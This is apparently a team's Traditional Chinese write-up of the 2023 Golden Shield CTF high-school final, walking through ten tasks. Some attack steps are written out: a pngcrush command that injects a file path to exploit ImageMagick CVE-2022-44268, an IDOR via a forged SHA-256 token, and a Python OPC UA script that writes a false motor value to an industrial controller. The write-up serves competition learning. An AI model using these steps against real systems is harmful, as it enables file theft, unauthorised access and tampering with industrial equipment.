--- lang: zh-TW --- # 2023 金盾獎心得 高中職組 [TOC] --- ## 初賽 ... ## 決賽 高中職組共 10 題。一般試題 5 題,教學試題 4 題(可要求提供解法,但分數只能拿1/3),情境試題 3 抽 1。 第一組成功解題者可得完整分數(情境試題例外),之後都只能得90%分數。 在題號的編排貌似沒有規則可循。 題目提示會根據剩餘時間依序公開。 答題系統Flag輸入格式:CSC{FLAG_最多長度25可包含數字、英文大小寫、特殊字元及底線} 例如:`CSC{FLAG_lm_3ecre7}` | | Gen | Edu | Sit | | ----------- | --- | --- | --- | | Easy (200) | 2 | * | | | Normal(300) | 1 | 2 | 1/3 | | Hard (600) | 2 | 2 | | 題目 --- #### 第 1 題 (Edu Normal) 全英文題。題目是一個網站,提供 4 個功能。 :::info - 範例說明文件 - 生成新的 xml 資料,包含 TimeStamp、GroupName、幾十個數字 - 取得最近生成的 xml 資料,若找無,則導向回為第 2 個功能 - 提交資料,包含 TimeStamp、GroupName、幾十個數字的質數判斷(true/false) ::: **解題方式** 使用第 2 個功能取得生成後的資料,透過 isPrime method 判斷質數,再將結果與需要資料提交到第 3 個功能,即可拿到 Flag 註: 題目給的網址是 https 要改成 http 才連得上 (類通靈) --- #### 第 2 題 (Gen Easy) :::info 知識海洋學習無盡,從比賽中找到出口, Flag就藏在這未知的網站裡,嘗試潛入進去找到正確答案吧! [連線IP/連結資訊] 192.168.100.79 ::: :::info [提示一] 使用Namp找到網站對外服務Port [提示二] 找到登入介面/tournament/login [提示三] 發現有開啟mysql服務,透過sql injection密碼是不是可以繞過 [提示四] 原始碼裡有特定Url,搭配Cookie的token key解開API [提示五] 打開API後需要用什麼Decode ::: 在 nmap 掃完後並連線到登入網站,但貌似在解題過程中有一直被做變動,從登入失敗被噴 500 變成 200,透過 SQLmap 也敲不進去,到這裡就卡住了 最後也沒機會解出 --- #### 第 3 題 (Gen Hard) :::info 我現在在參加CTF資安競賽決賽,已知目前伺服器上有開 ssh, smtp 端口,我該如何根據提示與題目來解題,請給我解題方向與做法 ”有一間公司的網管小明為被公司開除而產生了報復心理,想要破壞公司的主機,但他在計畫尚未完成時就被發現了。即使他最終被逮捕並關進監獄,但他依然成功一台主機放在外網上。 [連線IP/連結資訊] 192.168.100.91 ::: :::info [提示一] 被洩漏的主機是 192.168.100.91 [提示二] 公告系統有三個重要資訊,SMTP可以幫助你 [提示三] 一台主機在外面,一台主機在裡面,串成一條線是一個不錯的想法 [提示四] 大家通常都會使用相同的帳號密碼 ::: 第一步就卡住了,到最終仍解不出來 先掃 IP 得到資訊 ``` $ nmap 192.168.100.91 Nmap scan report for 192.168.100.91 Host is up (0.0013s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp ``` ssh 敲進去後出現一坨不可視Hex 對於 SMTP 也沒有很了解,就躺在地上抽了 --- #### 第 4 題 (Gen Hard) :::info 題目是一個 [Bomb.exe](https://cdn.discordapp.com/attachments/858872050000461824/1178176315187265656/Bomb.exe) 執行檔 ::: 用 winpwn 去抓程式給出的數字,相加傳回去 interactive 就可以 使用 regex: `pattern = r'A\((\d+)\) \+ B\((\d+)\)'` --- #### 第 5 題 (Gen Normal) :::info 題目要求連線到 SSH,並得到一組正確的 seed1(已知) 與 seed2,並執行 C 計算出結果 ::: **解題方式** 在環境中有很多個 C源碼 與 Makefile,再根據提示,在系統中飛來飛去,根據原始碼判斷在有 seed1 的情況下,seed2 應該為何,最後再改寫其中一個 C 並 make 出 Flag --- #### 第 6 題 (Gen Easy) :::info 題目提供一個網頁,透過開源專案 ImageMagick 提供調整影像大小的服務。 實際上是 CVE-2022-44268 的復現 ::: 可以根據[網路資源](https://www.uptycs.com/blog/denial-of-servicedos-and-arbitrary-file-read-vulnerability-in-imagemagick#:~:text=CVE%2D2022%2D44268%3A%20Arbitrary%20File%20Read%20Vulnerability),一步步完成。 **解題方式** 根據 HTML 中隱藏的屬性內容,B64 decode 後可得知,flag在 `/etc/flag` 安裝依賴 `$ brew install pngcrush` 網路隨便抓張 png 並使用命令 `$ pngcrush -text a “profile” “/etc/flag” image.png` 注入 上傳完成並隨便給予長寬參數並開始裁切 下載檔案並使用命令 `$ identify -verbose new_image.png` 將 `Raw profile type` 內容從 hex 轉為 ASCII 即可得到 Flag --- #### 第 7 題 (Edu Normal) :::info 題目提供一個 IP 位置,要求找到校長的薪資報告 ::: **解題方式** 網站內容的公告提到「教職員工登入系統」與「薪資查詢功能即將開放」的簡報,但網站上並沒有網址連結 透過 `namp` 發現 port 80, 8080, 8443 到此都沒有頭緒,就點開了教學文件 <br/> 使用 `dirb` 爆破網域下的所有可能網站,發現 /manager 可連線 帳號為簡報內的教職員名稱 (T0001),密碼為分機號碼 但在內部沒有發現薪資功能,但根據 html 可知,其他功能的名稱為 /option1, /option2, /option3,可推測即將開放的薪資查詢功能可能為 /options4。 薪資檔案的下載連接,後面可以發現參數 token,經過通靈知道是經過 Sha256 後的 T0001,更改 token 為 校長的名稱 Sha256("T0003")。 修改連線網址的 token 參數後,就可以得到 Flag --- #### 第 8 題 (Edu Hard) :::info 題目提供一個檔案 [Dejavu](https://cdn.discordapp.com/attachments/1148139564834242666/1178230437219414066/Dejavu) ::: **解題方式** reverse 爆破,反編譯看組語 --- #### 第 9 題 (Edu Hard) **有爭議的題目** :::info 題目架在 FTP 伺服器上,是一個 5.91GB 的壓縮檔 ::: **解題方式** 解壓縮後,裡面有兩個檔案「[ABAB.exe](https://cdn.discordapp.com/attachments/1148139564834242666/1178207906588532816/ABAB.exe)」(5.8MB)、「waterbear.jpg」(5.9GB) 在解開 ABAB 這個 1A2B 的遊戲後,得到了 5920 這個答案 waterbear.jpg 一看就是個被寫入什麼垃圾的玩意,用 binwalk 解壓出 537GB ...。 <br/> 再次點開了教學文件orz.. 可以直接用壓縮軟體(WinRAR / 7z)打開 waterbear.jpg,發現裡面有[多個檔案](https://cdn.discordapp.com/attachments/1148139564834242666/1178216956655058984/WaterBear.zip)(移除掉了佔空間的垃圾) 打開 說明文件.txt 可以看到 :::spoiler 說明文件.txt > Flag1的密碼為ABAB.exe的正確輸出 > > Flag2的密碼為"第一次"發送惡意封包的時間(例如連線時間為2023/06/01 15:17:22:100000000,則輸入的密碼應為"2023/06/01 15:17:22:100000000") > > Flag3的密碼為正確的中繼站地址、正確的應用程式名稱及相對應的PID(例如正確的中繼站地址為google.com、正確的應用程式名稱:svchost.exe,PID:777,則輸入的密碼應為"google.com+svchost.exe+777") > > > 輸入密碼不包含雙引號,僅需輸入雙引號內的資訊 ::: **Flag1:** 使用 ABAB 的答案當作 Flag1.7z 的密碼,得到第一段沒有用的 Flag `CSC{FLAG_` <br/> **Flag2:** 查看 waterbear.exe.log 的第一個啟動時間 `2023/6/1 14:50:20 start` 用時間與 IP 過濾 4.pcapng filter `ip.addr == 192.168.72.151 && frame.time >= "2023-06-01 14:50:20"` 撇除 TCP 前三次的交手,第一次封包接收的時間為 `2023/08/14 14:51:28:309202000`,得到第二段 Flag `aishakumo_` 第三段還沒有解時間就到了 :skull: --- #### 第 10 題 (Sit 機械手臂) 這次共有三個題目,分別為 紅綠燈、RFID、機械手臂 我們抽到的是機械手臂,整體看下來可能是最簡單的,蠻幸運的 :::info 一家製造工廠期望透過製造執行系統(MES)的整合架構,提升產線設備產能及良率。廠商將選用合適的通訊協定,將設備參數透過無線傳輸的方式整合。廠商忽略為協定加上安全機制,導致存在資安弱點, 嘗試找出設備採用下列何種工業通訊協定,並竄改設備參數,讓監控端的任意馬達感測數值異常超過180上限 [備註] 常用工控協定:Ethernet/IP、OPC UA、Omron Fins、Profinet、EtherCAT、Siemen S7、Bacnet、Modbus 有台筆電作為伺服端,樹莓派作為客戶端,透過 Wi-Fi 做通訊。 樹莓派會將機械手臂的各軸(3個)穩定參數數值回傳給伺服端。 我們可以連線到區域網中 題目有給予常用控制協定列表,我們要判斷出是使用何種協定,並根據協定做攻擊(或是有其他方法) ::: **解題方式** 一開始的想法是想透過 WireShark 查看封包,但什麼都抓不到。我們可以透過 DHCP 所分配的位置判斷哪些 IP 可能已經被分配。我和隊友們的區域 IP 為 5, 6, 7,由此可以猜測伺服端與客戶端可能為 2, 3, 4 其中之二。在主辦方第一次的提示中,得知伺服器位於 3,客戶端位於 4。 到這,我將矛頭從伺服端轉向客戶端,透過偽裝客戶端,傳送錯誤的訊息給伺服器,完成題目要求。在主辦方第二次提示中,我們知道了通訊協定與節點位置 最有效率的方式是跪下祈禱 ChatGPT 安裝依賴 `$ pip install opcua` ```py= from opcua import Client # 監考人員有在這裡指點,提示在根路徑 client = Client("opc.tcp://10.21.42.3:4840") try: client.connect() # 在第二次的提示中,有提供節點位置 node = client.get_node("ns=2;i=2") # 為節點寫入錯誤的值 node.set_value(9999) except Exception as e: print(f"An error occurred: {e}") finally: client.disconnect() ``` 成功取得 Flag --- > [name=XinShou] > [name=Ja Wu] > [name=Kao] --- ###### tags: `Competition` `Cyber Security` <style> .markdown-body p { font-size: 18px; } </style>
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up